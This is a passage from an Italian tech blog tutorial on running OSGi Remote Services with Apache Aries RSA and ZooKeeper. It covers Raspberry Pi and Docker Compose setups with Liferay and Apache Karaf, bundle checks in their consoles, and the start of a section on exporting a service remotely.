&lt;strong&gt;Raspberry Pi&lt;/strong&gt;, dovreste disporre un Raspberry Pi (almeno 3 Model B+),
installare Apache Karaf e seguire le attività di configurazione mostrate in
precedenza. L&amp;#x27;attività d&amp;#x27;installazione e configurazione di Apache Karaf su
Raspberry Pi è davvero semplice; consiglio di leggere la
&lt;a href=&quot;https://karaf.apache.org/manual/latest/#_installation&quot;&gt;guida ufficiale&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Le due figure a seguire mostrano Apache Karaf in esecuzione sul mio Raspberry Pi
3 Model B+ e la lista dei bundle di Apache Aries RSA e Apache ZooKeeper.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:861px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c4778fb69db5f072256bd20ecf8c002b/e35ec/apache-karaf-running-on-raspberry-pi.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:88.66666666666666%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;355\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20355\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20178v177h401V0H0v178m16%20163c0%201%200%202%201%201%200-2%201-2%203%200h12c0%202%2011%201%2012-1%200-3-2-4-4-1h-1l-1-2-1%202-1%201-1-1c0-2-6-2-7-1h-1l-1-1-2%201h-1l-4-1c-3%200-3%200-3%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c4778fb69db5f072256bd20ecf8c002b/c85cb/apache-karaf-running-on-raspberry-pi.webp 300w,/static/c4778fb69db5f072256bd20ecf8c002b/e88ff/apache-karaf-running-on-raspberry-pi.webp 600w,/static/c4778fb69db5f072256bd20ecf8c002b/16d1d/apache-karaf-running-on-raspberry-pi.webp 861w&quot; sizes=&quot;(max-width: 861px) 100vw, 861px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c4778fb69db5f072256bd20ecf8c002b/5a46d/apache-karaf-running-on-raspberry-pi.png 300w,/static/c4778fb69db5f072256bd20ecf8c002b/0a47e/apache-karaf-running-on-raspberry-pi.png 600w,/static/c4778fb69db5f072256bd20ecf8c002b/e35ec/apache-karaf-running-on-raspberry-pi.png 861w&quot; sizes=&quot;(max-width: 861px) 100vw, 861px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Apache Karaf in esecuzione su Raspberry Pi 3 Model B+&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c4778fb69db5f072256bd20ecf8c002b/e35ec/apache-karaf-running-on-raspberry-pi.png&quot; title=&quot;Figura 8 - Apache Karaf in esecuzione su Raspberry Pi 3 Model B+&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Apache Karaf in esecuzione su Raspberry Pi 3 Model B+&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:931px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/d6bbc923e358c6142c3685ceb9c5874f/82b28/apache-aries-zookeeper-on-raspberry-pi.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;151\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20151\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2076v75h401V0H0v76m50-53v6H26a237%20237%200%20000%201h24v6l1%206V30h104v6l1%206V30h122l123-1H156v-6l-1-5v11H51v-6l-1-6v6m111%2088c0%202%201%203%202%203l1-1v-2l1%201c1%202%2017%203%2018%201h1c0%202%200%202%202%201h3l2-2c0-2-1-2-8-2l-7-1h-5l-1%201h-4l-1-1c-2-2-4-1-4%202m-34%2014h-8l-7%201v1c-2%202-1%203%204%203%204%200%205-1%206-2l1-2%201%202-1%203%202-3%202-2v1c-1%202-1%203%201%203l1-1%201-1v1l6%201c4%200%205-1%205-2h2v2l2-2c0-3-1-3-8-3h-10M18%20142h-4c-3%200-3%200-3%202s0%202%201%201h2c2%202%202%202%203%201%201-2%202-2%202-1h1l2%201c2%202%203%202%203%201s1-2%202-1l1-2%202%201%202%201h3l2-2h1l1%202%201-2c0-2-1-2-2-2H18\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/d6bbc923e358c6142c3685ceb9c5874f/c85cb/apache-aries-zookeeper-on-raspberry-pi.webp 300w,/static/d6bbc923e358c6142c3685ceb9c5874f/e88ff/apache-aries-zookeeper-on-raspberry-pi.webp 600w,/static/d6bbc923e358c6142c3685ceb9c5874f/c4004/apache-aries-zookeeper-on-raspberry-pi.webp 931w&quot; sizes=&quot;(max-width: 931px) 100vw, 931px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/d6bbc923e358c6142c3685ceb9c5874f/5a46d/apache-aries-zookeeper-on-raspberry-pi.png 300w,/static/d6bbc923e358c6142c3685ceb9c5874f/0a47e/apache-aries-zookeeper-on-raspberry-pi.png 600w,/static/d6bbc923e358c6142c3685ceb9c5874f/82b28/apache-aries-zookeeper-on-raspberry-pi.png 931w&quot; sizes=&quot;(max-width: 931px) 100vw, 931px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 9 - Bundle di Apache Aries (RSA) e Apache ZooKeeper installati sul
Raspberry Pi&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/d6bbc923e358c6142c3685ceb9c5874f/82b28/apache-aries-zookeeper-on-raspberry-pi.png&quot; title=&quot;Figura 9 - Bundle di Apache Aries (RSA) e Apache ZooKeeper installati sul
Raspberry Pi&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 9 - Bundle di Apache Aries (RSA) e Apache ZooKeeper installati sul
Raspberry Pi&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h3 id=&quot;53-start-up-della-soluzione-via-docker-compose&quot;&gt;5.3 Start-up della soluzione via Docker Compose&lt;/h3&gt;&lt;p&gt;Fino a questo momento credo che abbiamo visto tante belle cose interessanti.
Adesso è giunta l&amp;#x27;ora di avviare la nostra soluzione via docker compose.
Gli step da fare sono veramente pochi e semplici (così come mostrato in Console 3).&lt;/p&gt;&lt;p&gt;Prima di avviare i servizi ed evitare d&amp;#x27;incorrere a &amp;quot;strani errori&amp;quot;, dovreste
accertarvi che le risorse dedicate a Docker siano adeguate. Per questi servizi
consiglio di dedicare almeno 2 CPU e 6 Gbyte di memoria. &lt;/p&gt;&lt;p&gt;Per quanto riguarda la versione di Docker, quella minima richiesta è la 18.
Personalmente il mio ambiente è &lt;a href=&quot;https://www.docker.com/products/docker-desktop&quot;&gt;Docker Desktop&lt;/a&gt; con Engine versione 19.03.12 e
Compose versione 1.26.2. &lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/docker-osgi-remote-services-example.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; docker-osgi-remote-services-example&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ docker-compose up&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 3 - Comandi per il clone del repository docker-osgi-remote-services-example e start-up della soluzione&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;La prima volta consiglio di lanciare il docker compose non in modalità detached,
così da seguire meglio lo start-up di tutta la soluzione. Per la maggior parte di
voi, il primo start-up impiegherà parecchi minuti, spesi per il download delle
immagini da Docker Hub.&lt;/p&gt;&lt;p&gt;Per accertarci che la soluzione sia salita senza alcun problema, potremmo
utilizzare il comando &lt;code&gt;docker-compose ps&lt;/code&gt; e dovremmo ottenere un risultato come
quello mostrato dalla Figura 10 a seguire. In questo caso l&amp;#x27;output del comando
informa che tutti in container sono up e running.&lt;/p&gt;&lt;p&gt;La figura a seguire evidenzia in particolare le porte TCP delle console di
amministrazione dei container OSGi, sia Liferay sia Apache Karaf. È evidenziata
anche la porta TCP esportata per il servizio di Apache ZooKeeper.&lt;/p&gt;&lt;p&gt;La porta TCP per la Gogo Shell di Liferay è la 21311 per le rispettive istanze
di Apache Karaf le porte TCP sono: 8104 e 8109.&lt;/p&gt;&lt;p&gt;La porta 2181 esportata per il servizio di Apache ZooKeeper è quella che sarà
utilizza dai container OSGi per registrare le informazioni sui propri servizi.&lt;/p&gt;&lt;p&gt;Dal Docker Compose file (vedi Source Code 5), le porte di amministrazione esportate
per le due istanze di Apache Karaf, sono impostate su base range, non è quindi
assicurato che il numero di porta sia sempre lo stesso, potrebbe cambiare ad ogni start
del servizio.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;a href=&quot;https://asciinema.org/a/351174?autoplay=1&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://asciinema.org/a/351174.svg&quot; width=&quot;100%&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Console Session 1 - Start-up della soluzione via Docker Compose&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Cliccando su Console Sessione 1, potete vedere la sessione di terminale che fa
riferimento ai comandi mostrati in Console 3 per lo start-up del Docker Compose.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a4672f928f53e17ce4f246069acbb8e0/cdb70/docker-compose-ps.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:7.666666666666668%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;30\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2030\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2015l1%2015v-2c0-2%200-2%206-2s6%200%205%202c-2%201-2%201%201%201%202%200%202%200%201-1s-1-1%201-1a1175%201175%200%200174%201c-2%201-2%201%200%201l3-1c0-2%202-2%208-2l7%201%202%201%201-1v-1l1%202c0%201%206%202%206%200%201-2%204-2%2018-2%2018%200%2020%200%2016%202l-2%201h2l2-1h2l1-2c3%200%203%202%201%202-1%201%200%201%201%201l3-1%202-2c3-1%206%201%205%202l1%201%202-1h5l3%201c3%200%204%200%203-1%200-2%200-2%202-2l2%202%201%201%201-1c0-2%201-2%209-2s11%201%208%202c-1%201%202%201%207%201l8-1c0-1%201-2%203-2s3%201%203%202c-1%201%201%202%204%202v-2h-1c-1%201-1%201-1-1a2738%202738%200%200031%201c1-2%201-4-1-4l-19-1%202-1h4l1%201c1-2%203-2%203-1h4l8%202c0%201%201%202%203%202h7l5%201c1%202%200%202-5%202h-6l68%201h68V0h-52c-47%200-53%200-52%202l-2%201-2-1c0-2-1-2-5-2s-4%200-1%201c9%201%203%202-10%202-12%200-14%200-14-2l-1-1-1%201v2c-2%202-30%202-30%200l-2-2-3%201h2l2%201-17%201c-10%200-17%200-16%201%203%201%201%202-4%202l-5-1-1-2-1-1c0-2-1-2-3-2-3%200-3%200-1%201l3%201-16%201c-14%200-16%200-16%202l-7%201-7-1c0-2-2-2-12-2l-12-1c0-2-1-2-3-2s-2%200%200%201l1%201a272%20272%200%2001-55-1c2%201%202%201-3%202-1%201%200%201%202%201%204%200%204%202-1%202l-4-1c0-2-1-2-3-2-4%200-5-2-2-2%201-1%200-1-2-1s-3%200-2%201c4%201-1%202-14%202S11%203%2015%202c1-1%200-1-1-1-2%200-3%200-2%201%203%201%201%202-5%202-5%200-6%200-6-2-1-1-1%204-1%2013m0%201c0%208%200%2013%201%2011%200-3%200-3%206-3h10c4%201%206%200%205-1l-11-1-10-1c0-1%208-2%2014-1h4a17652%2017652%200%200151-1c0-1%203-1-35-1a393%20393%200%2001-31-2c5%200%207-1%208-2s1-1-1-1L1%2012l196-1a12889%2012889%200%20000-1H1V5L0%2016m14-2c-2%201-3%201%2033%202%2026%200%2033%200%2034-2%201-1%200-1-4-1l-5%201H14m239%204c0%202%203%202%2023%202l21-1a118%20118%200%2000-34-1h-10m50%204c0%202%202%202%2020%202h22c3%201%204-1%201-2a161%20161%200%2000-33%200h-10m0%204l-2%201h-2c0%202%2012%202%2015%201h1a69%2069%200%200022%200l3%201%202-2-4-1h-35\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a4672f928f53e17ce4f246069acbb8e0/c85cb/docker-compose-ps.webp 300w,/static/a4672f928f53e17ce4f246069acbb8e0/e88ff/docker-compose-ps.webp 600w,/static/a4672f928f53e17ce4f246069acbb8e0/92f8c/docker-compose-ps.webp 1200w,/static/a4672f928f53e17ce4f246069acbb8e0/62ed8/docker-compose-ps.webp 1800w,/static/a4672f928f53e17ce4f246069acbb8e0/46261/docker-compose-ps.webp 2400w,/static/a4672f928f53e17ce4f246069acbb8e0/219e4/docker-compose-ps.webp 2433w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a4672f928f53e17ce4f246069acbb8e0/5a46d/docker-compose-ps.png 300w,/static/a4672f928f53e17ce4f246069acbb8e0/0a47e/docker-compose-ps.png 600w,/static/a4672f928f53e17ce4f246069acbb8e0/c1b63/docker-compose-ps.png 1200w,/static/a4672f928f53e17ce4f246069acbb8e0/d61c2/docker-compose-ps.png 1800w,/static/a4672f928f53e17ce4f246069acbb8e0/97a96/docker-compose-ps.png 2400w,/static/a4672f928f53e17ce4f246069acbb8e0/cdb70/docker-compose-ps.png 2433w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 10 - Esecuzione del comando docker-compose ps per verificare lo stato di
container dei servizi.&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a4672f928f53e17ce4f246069acbb8e0/c1b63/docker-compose-ps.png&quot; title=&quot;Figura 10 - Esecuzione del comando docker-compose ps per verificare lo stato di
container dei servizi.&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 10 - Esecuzione del comando docker-compose ps per verificare lo stato di
container dei servizi.&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Facciamo ulteriori verifiche con lo scopo di accertare che Apache Aries RSA e
Apache ZooKeeper più i bundle dei nostri servizi siano stati correttamente
installati. Per fare questa operazione e sufficiente collegarsi alla Gogo Shell
di Liferay e utilizzare il comando &lt;code&gt;ls&lt;/code&gt; per verificare che siano presenti i
rispettivi bundle e che siano nello stato Active. La stessa attività può essere
condotta sulle istanze di Apache Karaf, collegandosi alla console e utilizzare
il comando &lt;code&gt;list&lt;/code&gt; per verificare che siano presenti i rispettivi bundle e che
siano anch&amp;#x27;essi nello stato Active.&lt;/p&gt;&lt;p&gt;Le due figure a seguire mostrano l&amp;#x27;output dei comandi &lt;code&gt;ls&lt;/code&gt; e &lt;code&gt;list&lt;/code&gt; per la Gogo
Shell (Liferay) e Apache Karaf. Per la connessione alla console di Apache Karaf
utilizzare il comando &lt;code&gt;ssh -p 8104 karaf@127.0.0.1&lt;/code&gt; Specificare la porta
dell&amp;#x27;istanza a cui volersi connettere (vedi Figura 10).
La password per accedere alla console di Apache Karaf è: &lt;em&gt;karaf&lt;/em&gt;.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/dab827e7456d4c17438ee7e5d6a563f4/b5dee/gogoshell-liferay-lb.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:32.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;129\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20129\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2065v64h401V0H0v65M278%204l1%202%201-1h1c1%201%2012%201%2013-1l1%201h1l1-2v2l1%201%202-1V4l1%201%207%201c8%200%208%200%207-3%200-2-1-2-2-1h-19c-16%200-16%200-16%202m64-2l1%201v1c-1%202-1%202%202%202%202%200%203-1%203-2l1-1v2l1%201%201-1h1c1%201%206%201%206-1l1-1v2h1c2-2%203-3%202%200l1%201%201-1%201-1%201%201%205%201c6-1%206-1%206-3s-1-3-2-1h-33m-48%2094l1%202%201-1h1c1%202%2012%201%2013-1%201-1%201-1%201%201h1l2-2v3l2-1h1l3%201h5c3%201%204%200%203-2%200-3-34-2-34%200m65-1v2c-1%201%200%201%203%201l5-1h1c1%202%205%202%207-1h1v2l2-2h1v2l1-1h1l9%201c6%200%207%200%206-2l-1-2v2h-1c-1-1-4-2-18-2l-17%201m-101%2016c0%202%205%203%206%200l1-1v2l1%201%201-1h1c2%201%205%201%206-1l1-1%201%201v1l1-1%201-1v1c0%201%201%202%204%202%204%200%205%200%204-2%200-4-28-4-28%200m62%206c0%202%200%203%204%203%203%200%204-1%205-2l1-1v1c-1%202-1%202%202%202l3-1h7l1-2v3c1%200%202%200%201-1h2c2%201%202%201%202-1l-2-2a57%2057%200%2000-18%200h-6l-1-1-1%202\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/dab827e7456d4c17438ee7e5d6a563f4/c85cb/gogoshell-liferay-lb.webp 300w,/static/dab827e7456d4c17438ee7e5d6a563f4/e88ff/gogoshell-liferay-lb.webp 600w,/static/dab827e7456d4c17438ee7e5d6a563f4/92f8c/gogoshell-liferay-lb.webp 1200w,/static/dab827e7456d4c17438ee7e5d6a563f4/3deba/gogoshell-liferay-lb.webp 1237w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/dab827e7456d4c17438ee7e5d6a563f4/5a46d/gogoshell-liferay-lb.png 300w,/static/dab827e7456d4c17438ee7e5d6a563f4/0a47e/gogoshell-liferay-lb.png 600w,/static/dab827e7456d4c17438ee7e5d6a563f4/c1b63/gogoshell-liferay-lb.png 1200w,/static/dab827e7456d4c17438ee7e5d6a563f4/b5dee/gogoshell-liferay-lb.png 1237w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 11 - Output del comando lb da cui è possibile vedere i bundle di Apache
Aries (RSA), Apache ZooKeeper + i bundle dei servizi remoti sviluppati.&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/dab827e7456d4c17438ee7e5d6a563f4/c1b63/gogoshell-liferay-lb.png&quot; title=&quot;Figura 11 - Output del comando lb da cui è possibile vedere i bundle di Apache
Aries (RSA), Apache ZooKeeper + i bundle dei servizi remoti sviluppati.&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 11 - Output del comando lb da cui è possibile vedere i bundle di Apache
Aries (RSA), Apache ZooKeeper + i bundle dei servizi remoti sviluppati.&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:955px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/bd63524ecfbb017312fab37c94b89d84/a0b80/console-apache-karaf-verifica-bundle.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:69.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;278\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20278\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%20139v139h64v-5c0-4%200-5%202-5s2%200%202%205v5h333V0H0v139m19%206v7h-7l-7%201%207%201h7v57l1%2058V154h37v57l1%2058V154h24v57l1%2058V154h87v57l1%2058V154h115a2495%202495%200%20000-2H171v-7l-1-6v13H83v-7l-1-6v13H58v-7l-1-6v13H20v-7l-1-6v6\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/bd63524ecfbb017312fab37c94b89d84/c85cb/console-apache-karaf-verifica-bundle.webp 300w,/static/bd63524ecfbb017312fab37c94b89d84/e88ff/console-apache-karaf-verifica-bundle.webp 600w,/static/bd63524ecfbb017312fab37c94b89d84/1a389/console-apache-karaf-verifica-bundle.webp 955w&quot; sizes=&quot;(max-width: 955px) 100vw, 955px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/bd63524ecfbb017312fab37c94b89d84/5a46d/console-apache-karaf-verifica-bundle.png 300w,/static/bd63524ecfbb017312fab37c94b89d84/0a47e/console-apache-karaf-verifica-bundle.png 600w,/static/bd63524ecfbb017312fab37c94b89d84/a0b80/console-apache-karaf-verifica-bundle.png 955w&quot; sizes=&quot;(max-width: 955px) 100vw, 955px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 12 - Output del comando list su una delle istanze Apache Karaf da cui è
possibile vedere i bundle di Apache Aries (RSA), Apache ZooKeeper + i bundle dei
servizi remoti sviluppati.&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/bd63524ecfbb017312fab37c94b89d84/a0b80/console-apache-karaf-verifica-bundle.png&quot; title=&quot;Figura 12 - Output del comando list su una delle istanze Apache Karaf da cui è
possibile vedere i bundle di Apache Aries (RSA), Apache ZooKeeper + i bundle dei
servizi remoti sviluppati.&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 12 - Output del comando list su una delle istanze Apache Karaf da cui è
possibile vedere i bundle di Apache Aries (RSA), Apache ZooKeeper + i bundle dei
servizi remoti sviluppati.&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;h2 id=&quot;6-come-rendere-i-µservices-remoti&quot;&gt;6. Come rendere i µServices Remoti&lt;/h2&gt;&lt;p&gt;Tutto ciò che rende &amp;quot;magico&amp;quot; i µServices Remoti lo abbiamo visto nel dettaglio
nel capitolo 4, dov&amp;#x27;è stata introdotta la specifica &lt;strong&gt;OSGi Remote Services&lt;/strong&gt; e
come Apache Aries RSA renda possibile l&amp;#x27;esportazione delle interfacce dei
servizi all&amp;#x27;esterno del container OSGi all&amp;#x27;interno del quale vivono.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Per chi sviluppa, cambia qualcosa?&lt;/strong&gt; Assolutamente no, a maggior ragione per
chi utilizza i &lt;strong&gt;Declarative Services&lt;/strong&gt; (o DS).&lt;/p&gt;&lt;p&gt;Prendiamo in esame il servizio &lt;strong&gt;Who I am&lt;/strong&gt;. Questo servizio è molto semplice,
attraverso l&amp;#x27;interfaccia
&lt;em&gt;it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&lt;/em&gt; (vedi
Source Code 2) è stato definito il metodo &lt;em&gt;whoiam()&lt;/em&gt;. Questo metodo restituisce
qualche informazione circa l&amp;#x27;ambiente di runtime del servizio. L&amp;#x27;implementazione
di quest&amp;#x27;interfaccia, per così come mostrata al Source Code 3, non sarebbe
candidata per l&amp;#x27;esportazione come servizio remoto. Per far sì che questo accada,
è necessario aggiungere delle proprietà al nostro componente, così come indicato
a seguire.&lt;/p&gt;&lt;p&gt;Tramite la proprietà &lt;strong&gt;service.exported.interfaces=*&lt;/strong&gt; candidiamo il componente
per essere esportato come servizio remoto, inoltre occorre specificare anche il
numero di porta tramite la proprietà &lt;strong&gt;aries.rsa.port=&lt;/strong&gt;. Quest&amp;#x27;ultima
configurazione è specifica per il tipo di trasporto scelto, in questo caso il
TCP, così come avevo anticipato nel capitolo 4 parlando del &lt;strong&gt;Distribution
